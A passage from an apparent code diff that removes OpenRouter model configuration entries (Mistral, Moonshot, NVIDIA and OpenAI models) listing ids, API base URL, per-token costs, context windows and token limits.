cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-large-2411": { - id: "mistralai/mistral-large-2411", - name: "Mistral Large 2411", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-large-2512": { - id: "mistralai/mistral-large-2512", - name: "Mistral: Mistral Large 3 2512", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-medium-3": { - id: "mistralai/mistral-medium-3", - name: "Mistral: Mistral Medium 3", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0.04, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-medium-3.1": { - id: "mistralai/mistral-medium-3.1", - name: "Mistral: Mistral Medium 3.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0.04, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-nemo": { - id: "mistralai/mistral-nemo", - name: "Mistral: Mistral Nemo", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.02, - output: 0.04, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "mistralai/mistral-saba": { - id: "mistralai/mistral-saba", - name: "Mistral: Saba", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 0.6, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-small-2603": { - id: "mistralai/mistral-small-2603", - name: "Mistral: Mistral Small 4", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.015, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-small-3.2-24b-instruct": { - id: "mistralai/mistral-small-3.2-24b-instruct", - name: "Mistral: Mistral Small 3.2 24B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.19999999999999998, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-small-creative": { - id: "mistralai/mistral-small-creative", - name: "Mistral: Mistral Small Creative", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mixtral-8x22b-instruct": { - id: "mistralai/mixtral-8x22b-instruct", - name: "Mistral: Mixtral 8x22B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 65536, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mixtral-8x7b-instruct": { - id: "mistralai/mixtral-8x7b-instruct", - name: "Mistral: Mixtral 8x7B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.54, - output: 0.54, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "mistralai/pixtral-large-2411": { - id: "mistralai/pixtral-large-2411", - name: "Mistral: Pixtral Large 2411", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/voxtral-small-24b-2507": { - id: "mistralai/voxtral-small-24b-2507", - name: "Mistral: Voxtral Small 24B 2507", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 32000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "moonshotai/kimi-k2": { - id: "moonshotai/kimi-k2", - name: "MoonshotAI: Kimi K2 0711", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.5700000000000001, - output: 2.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "moonshotai/kimi-k2-0905": { - id: "moonshotai/kimi-k2-0905", - name: "MoonshotAI: Kimi K2 0905", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "moonshotai/kimi-k2-thinking": { - id: "moonshotai/kimi-k2-thinking", - name: "MoonshotAI: Kimi K2 Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.5, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "moonshotai/kimi-k2.5": { - id: "moonshotai/kimi-k2.5", - name: "MoonshotAI: Kimi K2.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.41, - output: 2.06, - cacheRead: 0.07, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "nex-agi/deepseek-v3.1-nex-n1": { - id: "nex-agi/deepseek-v3.1-nex-n1", - name: "Nex AGI: DeepSeek V3.1 Nex N1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.135, - output: 0.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 163840, - } satisfies Model<"openai-completions">, - "nvidia/llama-3.1-nemotron-70b-instruct": { - id: "nvidia/llama-3.1-nemotron-70b-instruct", - name: "NVIDIA: Llama 3.1 Nemotron 70B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1.2, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "nvidia/llama-3.3-nemotron-super-49b-v1.5": { - id: "nvidia/llama-3.3-nemotron-super-49b-v1.5", - name: "NVIDIA: Llama 3.3 Nemotron Super 49B V1.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-3-nano-30b-a3b": { - id: "nvidia/nemotron-3-nano-30b-a3b", - name: "NVIDIA: Nemotron 3 Nano 30B A3B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.049999999999999996, - output: 0.19999999999999998, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-3-nano-30b-a3b:free": { - id: "nvidia/nemotron-3-nano-30b-a3b:free", - name: "NVIDIA: Nemotron 3 Nano 30B A3B (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-3-super-120b-a12b": { - id: "nvidia/nemotron-3-super-120b-a12b", - name: "NVIDIA: Nemotron 3 Super", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.09, - output: 0.44999999999999996, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-3-super-120b-a12b:free": { - id: "nvidia/nemotron-3-super-120b-a12b:free", - name: "NVIDIA: Nemotron 3 Super (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-nano-12b-v2-vl:free": { - id: "nvidia/nemotron-nano-12b-v2-vl:free", - name: "NVIDIA: Nemotron Nano 12B 2 VL (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-nano-9b-v2": { - id: "nvidia/nemotron-nano-9b-v2", - name: "NVIDIA: Nemotron Nano 9B V2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.04, - output: 0.16, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "nvidia/nemotron-nano-9b-v2:free": { - id: "nvidia/nemotron-nano-9b-v2:free", - name: "NVIDIA: Nemotron Nano 9B V2 (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-3.5-turbo": { - id: "openai/gpt-3.5-turbo", - name: "OpenAI: GPT-3.5 Turbo", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.5, - output: 1.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 16385, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-3.5-turbo-0613": { - id: "openai/gpt-3.5-turbo-0613", - name: "OpenAI: GPT-3.5 Turbo (older v0613)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 4095, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-3.5-turbo-16k": { - id: "openai/gpt-3.5-turbo-16k", - name: "OpenAI: GPT-3.5 Turbo 16k", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 3, - output: 4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 16385, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4": { - id: "openai/gpt-4", - name: "OpenAI: GPT-4", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 30, - output: 60, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8191, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4-0314": { - id: "openai/gpt-4-0314", - name: "OpenAI: GPT-4 (older v0314)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 30, - output: 60, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8191, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4-1106-preview": { - id: "openai/gpt-4-1106-preview", - name: "OpenAI: GPT-4 Turbo (older v1106)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 10, - output: 30, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4-turbo": { - id: "openai/gpt-4-turbo", - name: "OpenAI: GPT-4 Turbo", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 10, - output: 30, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4-turbo-preview": { - id: "openai/gpt-4-turbo-preview", - name: "OpenAI: GPT-4 Turbo Preview", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 10, - output: 30, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4.1": { - id: "openai/gpt-4.1", - name: "OpenAI: GPT-4.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4.1-mini": { - id: "openai/gpt-4.1-mini", - name: "OpenAI: GPT-4.1 Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 1.5999999999999999, - cacheRead: 0.09999999999999999, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "openai/gpt-4.1-nano": { - id: "openai/gpt-4.1-nano", - name: "OpenAI: GPT-4.1 Nano", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "openai/gpt-4o": { - id: "openai/gpt-4o", - name: "OpenAI: GPT-4o", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-4o-2024-05-13": { - id: "openai/gpt-4o-2024-05-13", - name: "OpenAI: GPT-4o (2024-05-13)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 5, - output: 15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-4o-2024-08-06": { - id: "openai/gpt-4o-2024-08-06", - name: "OpenAI: GPT-4o (2024-08-06)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-4o-2024-11-20": { - id: "openai/gpt-4o-2024-11-20", - name: "OpenAI: GPT-4o (2024-11-20)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-4o-audio-preview": { - id: "openai/gpt-4o-audio-preview", - name: "OpenAI: GPT-4o Audio", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2.5, - output: 10, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-4o-mini": { - id: "openai/gpt-4o-mini", - name: "OpenAI: GPT-4o-mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-4o-mini-2024-07-18": { - id: "openai/gpt-4o-mini-2024-07-18", - name: "OpenAI: GPT-4o-mini (2024-07-18)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-5": { - id: "openai/gpt-5", - name: "OpenAI: GPT-5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5-codex": { - id: "openai/gpt-5-codex", - name: "OpenAI: GPT-5 Codex", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5-image": { - id: "openai/gpt-5-image", - name: "OpenAI: GPT-5 Image", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 10, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5-image-mini": { - id: "openai/gpt-5-image-mini", - name: "OpenAI: GPT-5 Image Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 2, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5-mini": { - id: "openai/gpt-5-mini", - name: "OpenAI: GPT-5 Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5-nano": { - id: "openai/gpt-5-nano", - name: "OpenAI: GPT-5 Nano", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.049999999999999996, - output: 0.39999999999999997, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-5-pro": { - id: "openai/gpt-5-pro", - name: "OpenAI: GPT-5 Pro", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 120, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.1": { - id: "openai/gpt-5.1", - name: "OpenAI: GPT-5.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.13, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.1-chat": { - id: "openai/gpt-5.1-chat", - name: "OpenAI: GPT-5.1 Chat", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-5.1-codex": { - id: "openai/gpt-5.1-codex", - name: "OpenAI: GPT-5.1-Codex", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.1-codex-max": { - id: "openai/gpt-5.1-codex-max", - name: "OpenAI: GPT-5.1-Codex-Max", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.1-codex-mini": { - id: "openai/gpt-5.1-codex-mini", - name: "OpenAI: GPT-5.1-Codex-Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.2": { - id: "openai/gpt-5.2", - name: "OpenAI: GPT-5.2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.2-chat": { - id: "openai/gpt-5.2-chat", - name: "OpenAI: GPT-5.2 Chat", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 32000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.2-codex": { - id: "openai/gpt-5.2-codex", - name: "OpenAI: GPT-5.2-Codex", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.2-pro": { - id: "openai/gpt-5.2-pro", - name: "OpenAI: GPT-5.2 Pro", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 21, - output: 168, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.3-chat": { - id: "openai/gpt-5.3-chat", - name: "OpenAI: GPT-5.3 Chat", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-5.3-codex": { - id: "openai/gpt-5.3-codex", - name: "OpenAI: GPT-5.3-Codex", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.4": { - id: "openai/gpt-5.4", - name: "OpenAI: GPT-5.4", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.4-mini": { - id: "openai/gpt-5.4-mini", - name: "OpenAI: GPT-5.4 Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.75, - output: 4.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.4-nano": { - id: "openai/gpt-5.4-nano", - name: "OpenAI: GPT-5.4 Nano", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 1.25, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-5.4-pro": { - id: "openai/gpt-5.4-pro", - name: "OpenAI: GPT-5.4 Pro", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 30, - output: 180, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "openai/gpt-audio": { - id: "openai/gpt-audio", - name: "OpenAI: GPT Audio", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2.5, - output: 10, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-audio-mini": { - id: "openai/gpt-audio-mini", - name: "OpenAI: GPT Audio Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-120b": { - id: "openai/gpt-oss-120b", - name: "OpenAI: gpt-oss-120b", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.039, - output: 0.19, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-120b:free": { - id: "openai/gpt-oss-120b:free", - name: "OpenAI: gpt-oss-120b (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-20b": { - id: "openai/gpt-oss-20b", - name: "OpenAI: gpt-oss-20b", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.03, - output: 0.14, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-20b:free": { - id: "openai/gpt-oss-20b:free", - name: "OpenAI: gpt-oss-20b (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: 